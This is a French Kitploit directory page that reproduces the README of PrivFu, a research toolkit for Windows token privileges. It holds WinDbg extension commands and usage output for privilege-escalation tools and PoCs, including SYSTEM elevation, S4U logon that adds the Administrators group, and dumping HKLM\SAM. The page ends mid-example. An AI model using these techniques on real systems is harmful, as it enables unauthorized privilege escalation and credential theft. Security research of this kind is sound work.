Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/daem0nc0re/privfu
Escalade de PrivilègesExploitationPost-Exploitation
GitHubdaem0nc0re/privfu

PrivFu

Extension WinDbg en mode noyau et PoCs pour l'investigation des privilèges de jeton.

Voir le dépôt
9451295il y a 2 joursVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

PrivFu

Extension WinDbg en mode noyau et PoCs pour tester le fonctionnement des privilèges de jeton.

Il existe des dépôts et articles notables sur l'abus de privilèges de jeton, comme le Priv2Admin de Grzegorz Tworek. Les codes de ce dépôt sont destinés à aider à étudier le fonctionnement des privilèges de jeton.

Table des matières

  • PrivFu
    • ArtsOfGetSystem
    • KernelWritePoCs
    • PrivEditor
      • getps Command
      • getpriv Command
      • addpriv Command
      • rmpriv Command
      • enablepriv Command
      • disablepriv Command
      • enableall Command
      • disableall Command
    • PrivilegedOperations
    • S4uDelegator
    • SwitchPriv
    • TokenDump
    • TokenAssignor
    • TrustExec
    • UserRightsUtil
    • Reference
    • Acknowledgments

ArtsOfGetSystem

Retour en haut

Projet

Ce projet couvre la manière d'obtenir des privilèges système à partir d'un shell de niveau d'intégrité élevé. Voir README.md pour plus de détails.

KernelWritePoCs

Retour en haut

Projet

Le but de ce projet est d'étudier comment les attaquants abusent des vulnérabilités d'écriture noyau arbitraire. Tous les PoCs sont écrits pour HackSys Extreme Vulnerable Driver. La plupart de ces PoCs effectuent une élévation au niveau d'intégrité SYSTEM en abusant d'une vulnérabilité d'écriture noyau arbitraire et des privilèges de jeton. Testé sur Windows 10 versions 1809/1903, mais ils devraient fonctionner sur la plupart des versions de Windows 10 théoriquement :

PrivEditor

Retour en haut

Projet

Avertissement

Dans certains environnements, la version Debug ne fonctionne pas. La version Release est préférée.

PrivEditor est une extension WinDbg en mode noyau pour manipuler les privilèges de jeton d'un processus spécifique. Cette extension permet de configurer facilement le privilège de jeton que vous souhaitez étudier :``` 0: kd> .load C:\dev\PrivEditor\x64\Release\PrivEditor.dll

PrivEditor - Kernel Mode WinDbg extension for token privilege edit.

Commands : + !getps : List processes in target system. + !getpriv : List privileges of a process. + !addpriv : Add privilege(s) to a process. + !rmpriv : Remove privilege(s) from a process. + !enablepriv : Enable privilege(s) of a process. + !disablepriv : Disable privilege(s) of a process. + !enableall : Enable all privileges available to a process. + !disableall : Disable all privileges available to a process.

[*] To see command help, execute "! help" or "! /?".

root@kitploit:~
### getps Commande
Cette commande sert à lister les processus dans votre système cible :```
0: kd> !getps /?

!getps - List processes in target system.

Usage : !getps [Process Name]

    Process Name : (OPTIONAL) Specifies filter string for process name.

Si vous exécutez cette commande sans aucun argument, cette commande liste tous les processus dans votre système cible comme suit :``` 0: kd> !getps

root@kitploit:~
 PID        nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name

======== =================== ======================== ============ 0 0xfffff80581233630 0x0000000000000000 Idle 4 0xffffd60fec068380 0xffffaf00cec07a40 System 68 0xffffd60ff1780480 0xffffaf00d3b290a0 svchost.exe 88 0xffffd60fec0db080 0xffffaf00cec0d080 Registry 324 0xffffd60fef342040 0xffffaf00d0416080 smss.exe 348 0xffffd60ff052f100 0xffffaf00d25d30a0 dwm.exe 408 0xffffd60feca8e140 0xffffaf00d21bd930 csrss.exe 480 0xffffd60ff05a8340 0xffffaf00d2568670 svchost.exe 484 0xffffd60fefcd60c0 0xffffaf00d06430e0 wininit.exe 500 0xffffd60fefd130c0 0xffffaf00d23100a0 csrss.exe 580 0xffffd60fefdc0080 0xffffaf00d2266630 winlogon.exe

--snip--

root@kitploit:~
Si vous souhaitez connaître des processus spécifiques, définissez le filtre de chaîne comme suit. Le filtre fonctionne avec une correspondance par préfixe et insensible à la casse :```
0: kd> !getps micro

     PID        nt!_EPROCESS nt!_SEP_TOKEN_PRIVILEGES Process Name
======== =================== ======================== ============
    4568 0xffffd60f`f14ed080      0xffffaf00`d3db60a0 MicrosoftEdge.exe
    4884 0xffffd60f`f1647080      0xffffaf00`d3fc17b0 MicrosoftEdgeCP.exe
    4892 0xffffd60f`f1685080      0xffffaf00`d3fc07b0 MicrosoftEdgeSH.exe

getpriv Command

Cette commande permet de lister les privilèges de jeton d'un processus spécifique :``` 0: kd> !getpriv /?

!getpriv - List privileges of a process.

Usage : !getpriv

root@kitploit:~
PID : Specifies target process ID.
root@kitploit:~
Pour utiliser cette commande, vous devez définir un ID de processus cible au format décimal comme suit :```
0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

Commande addpriv

Cette commande permet d'ajouter un ou plusieurs privilèges de jeton à un processus spécifique :``` 0: kd> !addpriv /?

!addpriv - Add privilege(s) to a process.

Usage : !addpriv

root@kitploit:~
PID       : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

    + CreateToken                    : SeCreateTokenPrivilege.
    + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
    + LockMemory                     : SeLockMemoryPrivilege.
    + IncreaseQuota                  : SeIncreaseQuotaPrivilege.
    + MachineAccount                 : SeMachineAccountPrivilege.
    + Tcb                            : SeTcbPrivilege.
    + Security                       : SeSecurityPrivilege.
    + TakeOwnership                  : SeTakeOwnershipPrivilege.
    + LoadDriver                     : SeLoadDriverPrivilege.
    + SystemProfile                  : SeSystemProfilePrivilege.
    + Systemtime                     : SeSystemtimePrivilege.
    + ProfileSingleProcess           : SeProfileSingleProcessPrivilege.
    + IncreaseBasePriority           : SeIncreaseBasePriorityPrivilege.
    + CreatePagefile                 : SeCreatePagefilePrivilege.
    + CreatePermanent                : SeCreatePermanentPrivilege.
    + Backup                         : SeBackupPrivilege.
    + Restore                        : SeRestorePrivilege.
    + Shutdown                       : SeShutdownPrivilege.
    + Debug                          : SeDebugPrivilege.
    + Audit                          : SeAuditPrivilege.
    + SystemEnvironment              : SeSystemEnvironmentPrivilege.
    + ChangeNotify                   : SeChangeNotifyPrivilege.
    + RemoteShutdown                 : SeRemoteShutdownPrivilege.
    + Undock                         : SeUndockPrivilege.
    + SyncAgent                      : SeSyncAgentPrivilege.
    + EnableDelegation               : SeEnableDelegationPrivilege.
    + ManageVolume                   : SeManageVolumePrivilege.
    + Impersonate                    : SeImpersonatePrivilege.
    + CreateGlobal                   : SeCreateGlobalPrivilege.
    + TrustedCredManAccess           : SeTrustedCredManAccessPrivilege.
    + Relabel                        : SeRelabelPrivilege.
    + IncreaseWorkingSet             : SeIncreaseWorkingSetPrivilege.
    + TimeZone                       : SeTimeZonePrivilege.
    + CreateSymbolicLink             : SeCreateSymbolicLinkPrivilege.
    + DelegateSessionUserImpersonate : SeDelegateSessionUserImpersonatePrivilege.
    + All                            : All privileges.
root@kitploit:~
Par exemple, si vous voulez attribuer SeDebugPrivilege à un processus spécifique, définissez un ID de processus cible pour le premier argument et abrégez le nom du privilège `debug` comme indiqué dans le message d'aide pour le deuxième argument comme suit :```
0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

0: kd> !addpriv 5704 debug

[>] Trying to add SeDebugPrivilege.
[*] Done.

0: kd> !getpriv 5704

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeDebugPrivilege                           Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 5704
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f141e4c0
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a0c0a0

L'argument du nom de privilège est insensible à la casse.

Si vous souhaitez ajouter tous les privilèges de jeton en une seule fois, définissez all comme argument du nom de privilège :``` 0: kd> !addpriv 5704 all

[>] Trying to add all privileges. [*] Done.

0: kd> !getpriv 5704

Privilege Name State ========================================== ======== SeCreateTokenPrivilege Disabled SeAssignPrimaryTokenPrivilege Disabled SeLockMemoryPrivilege Disabled SeIncreaseQuotaPrivilege Disabled SeMachineAccountPrivilege Disabled SeTcbPrivilege Disabled SeSecurityPrivilege Disabled

--snip--

root@kitploit:~
### rmpriv Commande
Cette commande permet de supprimer les privilèges de jeton d'un processus spécifique :```
0: kd> !rmpriv /?

!rmpriv - Remove privilege(s) from a process.

Usage : !rmpriv <PID> <Privilege>

    PID       : Specifies target process ID.
    Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

        + CreateToken                    : SeCreateTokenPrivilege.
        + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
        + LockMemory                     : SeLockMemoryPrivilege.

--snip--

Si vous souhaitez supprimer SeChangeNotifyPrivilege, exécutez cette commande comme suit :``` 0: kd> !getpriv 352

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] PID : 352 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d3468770

0: kd> !rmpriv 352 changenotify

[>] Trying to remove SeChangeNotifyPrivilege. [*] Done.

0: kd> !getpriv 352

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] PID : 352 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d3468770

root@kitploit:~
Comme pour la commande `!addpriv`, vous pouvez supprimer tous les privilèges d'un jeton en une seule fois en définissant `all` comme argument de nom de privilège :```
0: kd> !rmpriv 352 all

[>] Trying to remove all privileges.
[*] Done.

0: kd> !getpriv 352

Privilege Name                             State
========================================== ========

[*] PID                      : 352
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d3468770

enablepriv Command

Cette commande permet d'activer les privilèges de jeton d'un processus spécifique :``` 0: kd> !enablepriv /?

!enablepriv - Enable privilege(s) of a process.

Usage : !enablepriv

root@kitploit:~
PID       : Specifies target process ID.
Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

    + CreateToken                    : SeCreateTokenPrivilege.
    + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
    + LockMemory                     : SeLockMemoryPrivilege.

--snip--

root@kitploit:~
Le premier argument est pour l'ID du processus, et le second est pour le nom du privilège du jeton :```
0: kd> !getpriv 1932

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Disabled

[*] PID                      : 1932
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0

0: kd> !enablepriv 1932 timezone

[>] Trying to enable SeTimeZonePrivilege.
[*] Done.

0: kd> !getpriv 1932

Privilege Name                             State
========================================== ========
SeShutdownPrivilege                        Disabled
SeChangeNotifyPrivilege                    Enabled
SeUndockPrivilege                          Disabled
SeIncreaseWorkingSetPrivilege              Disabled
SeTimeZonePrivilege                        Enabled

[*] PID                      : 1932
[*] Process Name             : cmd.exe
[*] nt!_EPROCESS             : 0xffffd60f`f17c6080
[*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00`d4a040a0

Si vous avez essayé d'activer le(s) privilège(s), pas encore ajouté(s), cette commande l'ajoute automatiquement :``` 0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

0: kd> !enablepriv 1932 debug

[] SeDebugPrivilege is not present. [>] Trying to add SeDebugPrivilege. [>] Trying to enable SeDebugPrivilege. [] Done.

0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

root@kitploit:~
### Commande disablepriv
Cette commande permet de désactiver les privilèges de jeton d'un processus spécifique :```
0: kd> !disablepriv /?

!disablepriv - Disable privilege(s) of a process.

Usage : !disablepriv <PID> <Privilege>

    PID       : Specifies target process ID.
    Privilege : Specifies privilege to enable (case insensitive). Available privileges are following.

        + CreateToken                    : SeCreateTokenPrivilege.
        + AssignPrimaryToken             : SeAssignPrimaryTokenPrivilege.
        + LockMemory                     : SeLockMemoryPrivilege.

--snip--

Pour utiliser cette commande, définissez un ID de processus cible pour le premier argument et un nom de privilège de jeton pour le second argument :``` 0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

0: kd> !disablepriv 1932 debug

[>] Trying to disable SeDebugPrivilege. [*] Done.

0: kd> !getpriv 1932

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeDebugPrivilege Disabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Enabled

[] PID : 1932 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd60ff17c6080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffaf00d4a040a0

root@kitploit:~
### Commande enableall
Cette commande permet d'activer tous les privilèges de jeton disponibles pour un processus spécifique :```
0: kd> !enableall /?

!enableall - Enable all privileges available to a process.

Usage : !enableall <PID>

    PID       : Specifies target process ID.

Cela fonctionne comme suit :``` 0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

0: kd> !enableall 3792

[>] Trying to enable all available privileges. [*] Done.

0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Enabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

root@kitploit:~
### disableall Commande
Cette commande sert à désactiver tous les privilèges de jeton pour un processus spécifique :```
0: kd> !disableall /?

!disableall - Disable all privileges available to a process.

Usage : !disableall <PID>

    PID : Specifies target process ID.

Cette commande est équivalente à !disablepriv <PID> all. Fonctionne comme suit :``` 0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Enabled SeChangeNotifyPrivilege Enabled SeUndockPrivilege Enabled SeIncreaseWorkingSetPrivilege Enabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

0: kd> !disableall 3792

[>] Trying to disable all available privileges. [*] Done.

0: kd> !getpriv 3792

Privilege Name State ========================================== ======== SeShutdownPrivilege Disabled SeChangeNotifyPrivilege Disabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled

[] PID : 3792 [] Process Name : cmd.exe [*] nt!_EPROCESS : 0xffffd507aaed9080 [*] nt!_SEP_TOKEN_PRIVILEGES : 0xffffb708d72ab8a0

root@kitploit:~
## PrivilegedOperations

[Retour en haut](#privfu)

[Projet](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations)

Ce projet est un ensemble de PoCs pour les privilèges de jeton sensibles tels que `SeDebugPrivilege`.
Actuellement, des PoCs ont été publiées pour une partie d'entre eux.

| Nom du programme | Description |
| :--- | :--- |
| [SeAuditPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeAuditPrivilegePoC) | Ce PoC tente de créer un ou plusieurs nouveaux événements de sécurité à l'aide de `SeAuditPrivilegePoC`. `SeAuditPrivilege` ne nécessite pas un niveau d'intégrité élevé, mais ce PoC nécessite des privilèges administrateur lors de la première exécution pour installer une nouvelle source d'événements. De plus, pour confirmer le résultat, ce PoC peut nécessiter une modification du paramètre de stratégie de sécurité locale. |
| [SeBackupPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeBackupPrivilegePoC) | Ce PoC tente de vider `HKLM\SAM` en utilisant `SeBackupPrivilege`. |
| [SeCreatePagefilePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreatePagefilePrivilegePoC) | Ce PoC tente de définir l'option de fichier d'échange à des valeurs spécifiques en utilisant `SeCreatePagefilePrivilege`. |
| [SeCreateTokenPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeCreateTokenPrivilegePoC) | Ce PoC tente de créer un jeton élevé en utilisant `SeCreateTokenPrivilege`. |
| [SeDebugPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeDebugPrivilegePoC) | Ce PoC tente d'ouvrir un handle sur winlogon.exe en utilisant `SeDebugPrivilege`. |
| [SeLockMemoryPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeLockMemoryPrivilegePoC) | Ce PoC tente d'allouer une région mémoire de grande page en utilisant `SeLockMemoryPrivilege`. |
| [SeRestorePrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeRestorePrivilegePoC) | Ce PoC tente d'écrire un fichier de test dans `C:\Windows\System32\` en utilisant `SeRestorePrivilege`. |
| [SeSecurityPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSecurityPrivilegePoC) | Ce PoC tente de lire le dernier événement de sécurité en utilisant `SeSecurityPrivilege`. |
| [SeShutdownPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeShutdownPrivilegePoC) | Ce PoC tente de provoquer un écran bleu (BSOD) en utilisant `SeShutdownPrivilege`. |
| [SeSystemEnvironmentPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeSystemEnvironmentPrivilegePoC) | Ce PoC tente d'énumérer l'environnement système en utilisant `SeSystemEnvironmentPrivilege`. Fonctionne uniquement pour les systèmes basés sur UEFI. En raison des fonctionnalités du système d'exploitation, ce PoC ne fonctionne pas pour les versions antérieures à Windows 10 Build 1809. |
| [SeTakeOwnershipPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTakeOwnershipPrivilegePoC) | Ce PoC tente de modifier le propriétaire de `HKLM:\SYSTEM\CurrentControlSet\Services\dmwappushservice` pour le compte utilisateur appelant en utilisant `SeTakeOwnershipPrivilege`. |
| [SeTcbPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTcbPrivilegePoC) | Ce PoC tente d'effectuer une connexion S4U pour devenir `Builtin\Backup Operators` en utilisant `SeTcbPrivilege`. |
| [SeTrustedCredManAccessPrivilegePoC](https://github.com/daem0nc0re/privfu/blob/main/PrivilegedOperations/SeTrustedCredManAccessPrivilegePoC) | Ce PoC tente d'accéder à un blob DPAPI en utilisant `SeTrustedCredManAccessPrivilege`. |

## S4uDelegator

[Retour en haut](#privfu)

[Projet](https://github.com/daem0nc0re/privfu/blob/main/S4uDelegator)

Cet outil sert à effectuer une connexion S4U avec SeTcbPrivilege.
Pour effectuer une connexion S4U avec cet outil, des privilèges administrateur sont requis.```
PS C:\Tools> .\S4uDelegator.exe -h

S4uDelegator - Tool for S4U Logon.

Usage: S4uDelegator.exe [Options]

        -h, --help    : Displays this help message.
        -l, --lookup  : Flag to lookup account SID.
        -x, --execute : Flag to execute command.
        -c, --command : Specifies command to execute. Default is cmd.exe.
        -d, --domain  : Specifies domain name to lookup or S4U logon.
        -e, --extra   : Specifies group SIDs you want to add for S4U logon with comma separation.
        -n, --name    : Specifies account name to lookup or S4U logon.
        -s, --sid     : Specifies SID to lookup.

Pour utiliser cet outil, l'option -l ou -x doit être spécifiée. L'option -l sert à rechercher les informations de compte comme suit :``` PS C:\Tools> .\S4uDelegator.exe -l -d contoso -n "domain admins"

[] Account Name : CONTOSO\Domain Admins [] SID : S-1-5-21-3654360273-254804765-2004310818-512 [*] Account Type : Group

PS C:\Tools> .\S4uDelegator.exe -l -s S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736

[] Account Name : NT SERVICE\WinDefend [] SID : S-1-5-80-1913148863-3492339771-4165695881-2087618961-4109116736 [*] Account Type : WellKnownGroup

root@kitploit:~
Pour exécuter une commande avec la connexion S4U, définissez le drapeau `-x`, et spécifiez le nom du compte ou le SID comme suit.
La commande à exécuter peut être spécifiée avec l'option `-c` (par défaut `cmd.exe`) :```
PS C:\Tools> whoami /user

USER INFORMATION
----------------

User Name    SID
============ =============================================
contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105
PS C:\Tools> .\S4uDelegator.exe -x -d . -n admin

[*] S4U logon target information:
    [*] Account : CL01\admin
    [*] SID     : S-1-5-21-2659926013-4203293582-4033841475-500
    [*] UPN     : (Null)
    [*] Type    : User
[>] Trying to get SYSTEM.
[+] Got SYSTEM privileges.
[>] Trying to S4U logon.
[+] S4U logon is successful.
[>] Trying to create a token assigned process.
Microsoft Windows [Version 10.0.18362.175]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Tools>whoami /user

USER INFORMATION
----------------

User Name  SID
========== =============================================
cl01\admin S-1-5-21-2659926013-4203293582-4033841475-500

Si vous souhaitez ajouter des informations supplémentaires sur le groupe, définissez les SID de groupe avec une valeur séparée par des virgules à l'aide de l'option -e comme suit :``` PS C:\Tools> whoami /user

USER INFORMATION

User Name SID ============= ============================================= contoso\david S-1-5-21-3654360273-254804765-2004310818-1104 PS C:\Tools> .\S4uDelegator.exe -x -d contoso -n jeff -e S-1-5-32-544,S-1-5-20 -c powershell

[] S4U logon target information: [] Account : CONTOSO\jeff [] SID : S-1-5-21-3654360273-254804765-2004310818-1105 [] UPN : [email protected] [] Type : User [>] Verifying extra group SID(s). [] BUILTIN\Administrators (SID : S-1-5-32-544) will be added as a group. [*] NT AUTHORITY\NETWORK SERVICE (SID : S-1-5-20) will be added as a group. [>] Trying to get SYSTEM. [+] Got SYSTEM privileges. [>] Trying to S4U logon. [+] S4U logon is successful. [>] Trying to create a token assigned process. Windows PowerShell Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Tools> whoami /user

USER INFORMATION

User Name SID ============ ============================================= contoso\jeff S-1-5-21-3654360273-254804765-2004310818-1105 PS C:\Tools> whoami /groups
GROUP INFORMATION

Group Name Type SID Attributes
====================================== ================ ============================================= ================================================== Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group NT AUTHORITY\NETWORK SERVICE Well-known group S-1-5-20 Mandatory group, Enabled by default, Enabled group CONTOSO\ServerAdmins Group S-1-5-21-3654360273-254804765-2004310818-1103 Mandatory group, Enabled by default, Enabled group Service asserted identity Well-known group S-1-18-2 Mandatory group, Enabled by default, Enabled group Mandatory Label\System Mandatory Level Label S-1-16-16384

root@kitploit:~
> __AVERTISSEMENT__
>
> Si vous essayez une connexion S4U avec un compte non privilégié pour la machine cible, vous obtiendrez l'erreur `0xC0000142` (`STATUS_DLL_INIT_FAILED`) et la commande ne pourra pas être exécutée.
> Pour éviter ce problème, ajoutez des groupes privilégiés comme groupes supplémentaires avec l'option `-e`.
> 
> De plus, certains comptes ne peuvent pas être spécifiés comme groupe supplémentaire (par exemple `NT SERVICE\TrustedInstaller`) pour la connexion S4U.
> Si vous définissez de tels comptes de groupe comme groupe supplémentaire, la connexion S4U échouera avec l'erreur `0x00000005` (`ERROR_ACCESS_DENIED`)

## SwitchPriv

[Retour en haut](#privfu)

[Projet](https://github.com/daem0nc0re/privfu/blob/main/SwitchPriv)

Cet outil permet d'activer ou de désactiver des privilèges de jeton spécifiques pour un processus :```
PS C:\Dev> .\SwitchPriv.exe -h

SwitchPriv - Tool to control token privileges.

Usage: SwitchPriv.exe [Options]

        -h, --help      : Displays this help message.
        -d, --disable   : Specifies token privilege to disable or "all".
        -e, --enable    : Specifies token privilege to enable or "all".
        -f, --filter    : Specifies token privilege you want to remain.
        -i, --integrity : Specifies integrity level to set in decimal value.
        -p, --pid       : Specifies the target PID. Default specifies PPID.
        -r, --remove    : Specifies token privilege to remove or "all".
        -s, --search    : Specifies token privilege to search.
        -g, --get       : Flag to get available privileges for the target process.
        -l, --list      : Flag to list values for --integrity options.
        -S, --system    : Flag to run as "NT AUTHORITY\SYSTEM".

Pour lister les valeurs de l'option --integrity, exécutez avec le drapeau --list comme suit :``` PS C:\Dev> .\SwitchPriv.exe -l

Available values for --integrity option:

root@kitploit:~
* 0 : UNTRUSTED_MANDATORY_LEVEL
* 1 : LOW_MANDATORY_LEVEL
* 2 : MEDIUM_MANDATORY_LEVEL
* 3 : MEDIUM_PLUS_MANDATORY_LEVEL
* 4 : HIGH_MANDATORY_LEVEL
* 5 : SYSTEM_MANDATORY_LEVEL
* 6 : PROTECTED_MANDATORY_LEVEL
* 7 : SECURE_MANDATORY_LEVEL

Example :

root@kitploit:~
* Down a specific process' integrity level to Low.

    PS C:\> .\SwitchPriv.exe -p 4142 -s 1

Protected and Secure level should not be available, but left for research purpose.

root@kitploit:~
Le PID du processus cible est spécifié avec l'option `-p`. Vous pouvez lister les privilèges disponibles pour le processus cible avec le drapeau `-g` et l'option `-p` comme suit :```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
    [*] Target PID   : 9408
    [*] Process Name : Notepad
[+] Got 5 token privilege(s).

PRIVILEGES INFORMATION
----------------------

Privilege Name                State
============================= =========================
SeShutdownPrivilege           Disabled
SeChangeNotifyPrivilege       EnabledByDefault, Enabled
SeUndockPrivilege             Disabled
SeIncreaseWorkingSetPrivilege Disabled
SeTimeZonePrivilege           Disabled

[*] Integrity Level : Medium Mandatory Level
[*] Done.

Lorsque l'option -p n'est pas spécifiée, le PID sera le PID parent pour cet outil :``` PS C:\Dev> .\SwitchPriv.exe -g

[>] Trying to get available token privilege(s) for the target process. [] Target PID : 6772 [] Process Name : powershell [+] Got 5 token privilege(s).

PRIVILEGES INFORMATION

Privilege Name State ============================= ========================= SeShutdownPrivilege Disabled SeChangeNotifyPrivilege EnabledByDefault, Enabled SeUndockPrivilege Disabled SeIncreaseWorkingSetPrivilege Disabled SeTimeZonePrivilege Disabled

[] Integrity Level : Medium Mandatory Level [] Done.

root@kitploit:~
Le nom du privilège à contrôler est spécifié avec n'importe quelle chaîne insensible à la casse qui peut spécifier un nom de privilège unique parmi les privilèges disponibles pour le processus cible.
Par exemple, pour activer `SeUndockPrivilege` pour le processus cible, exécutez avec l'option `--enable` comme suit :```
PS C:\Dev> .\SwitchPriv.exe -p 9408 -g

[>] Trying to get available token privilege(s) for the target process.
